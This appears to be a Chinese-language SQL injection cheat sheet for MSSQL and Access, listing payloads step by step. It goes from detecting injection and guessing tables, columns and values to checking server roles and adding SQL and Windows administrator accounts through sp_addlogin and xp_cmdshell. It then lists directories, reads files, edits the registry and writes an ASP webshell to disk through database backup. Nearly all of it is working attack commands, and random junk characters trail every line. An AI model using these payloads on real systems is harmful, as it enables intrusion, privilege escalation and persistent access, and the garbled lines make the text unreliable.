1.判断是否有注入;and 1=1 ;and 1=2 ~?+Jt3?,
2.初步判断是否是mssql ;and user>0 Z:u7`%
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3.注入参数是字符'and [查询条件] and ''=' V)_mo/D!D
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' {*yhiE ,
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5.判断数据库系统 |JnJ=@-y
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;and (select count(*) from sysobjects)>0 mssql QR\qGhQ~
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;and (select count(*) from msysobjects)>0 access Go+f0aig
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 US@ak4Y6Z
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 haqL
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $*`fn{2
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9.(1)猜字段的ascii值(access) +'y$XR~W {
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(2)猜字段的ascii值(mssql) ppmDmi~X
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 `hY%<L sI
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10.测试权限结构(mssql) WSW aq\9]8
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ]@C&Q,~q
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $:{uF#
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ]M-j_("&
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- /2~qm/%Q
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- cOxF.(L
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- k`'^e/
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;and 1=(select IS_MEMBER('db_owner'));-- '\[GquK;P
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11.添加mssql和系统的帐户 mj{TqF
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;exec master.dbo.sp_addlogin username;-- (wo.OH
;exec master.dbo.sp_password null,username,password;-- j1_CA5V
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- diaLw
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;exec master.dbo.xp_cmdshell 'net user username password Y'DI@
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 1<Qb"FN!2
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- K.JKE"j)d
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ?qO_t;:0>
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12.(1)遍历目录 '[I?G6
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;create table dirs(paths varchar(100), id int) 6H53FMqr
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;insert dirs exec master.dbo.xp_dirtree 'c:\' K_G(J>
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;and (select top 1 paths from dirs)>0 7:)=
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) to|O]h2*U2
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(2)遍历目录 g~rZ=
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9l]+rs+
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 nxS|]
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 tMR&>hM
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 sC(IeGbX
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 .hzzoLI2
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13.mssql中的存储过程 LPc)-t|p"
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xp_regenumvalues 注册表根键, 子键 .D!0$W mOZ
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 TwH%P2)x
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xp_regread 根键,子键,键值名 ?\"GT] 5D
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 >-*rtiE
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xp_regwrite 根键,子键, 值名, 值类型, 值 jhgS@g=@ZC
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 xQ+UZc
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xp_regdeletevalue 根键,子键,值名 K!Te*?b
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 L-?
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 v[{g"C
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14.mssql的backup创建webshell d,8L-pT$FM
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use model lR5[UKr
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create table cmd(str image); U6cpj
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insert into cmd(str) values (''); UTB]svC'
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backup database model to disk='c:\l.asp'; = >CADTU
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15.mssql内置函数 10R#}~D
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;and (select @@version)>0 获得Windows的版本号 #{K}o}
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa `yF6-F
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;and (select user_name())>0 爆当前系统的连接用户 iZY4+
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;and (select db_name())>0 得到当前连接的数据库 X
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16.简洁的webshell x3DUz
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use model Voy1
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create table cmd(str image); Q\Wh]=}
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insert into cmd(str) values (''); 'F2g2W`
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backup database model to disk='g:\wwwtest\l.asp';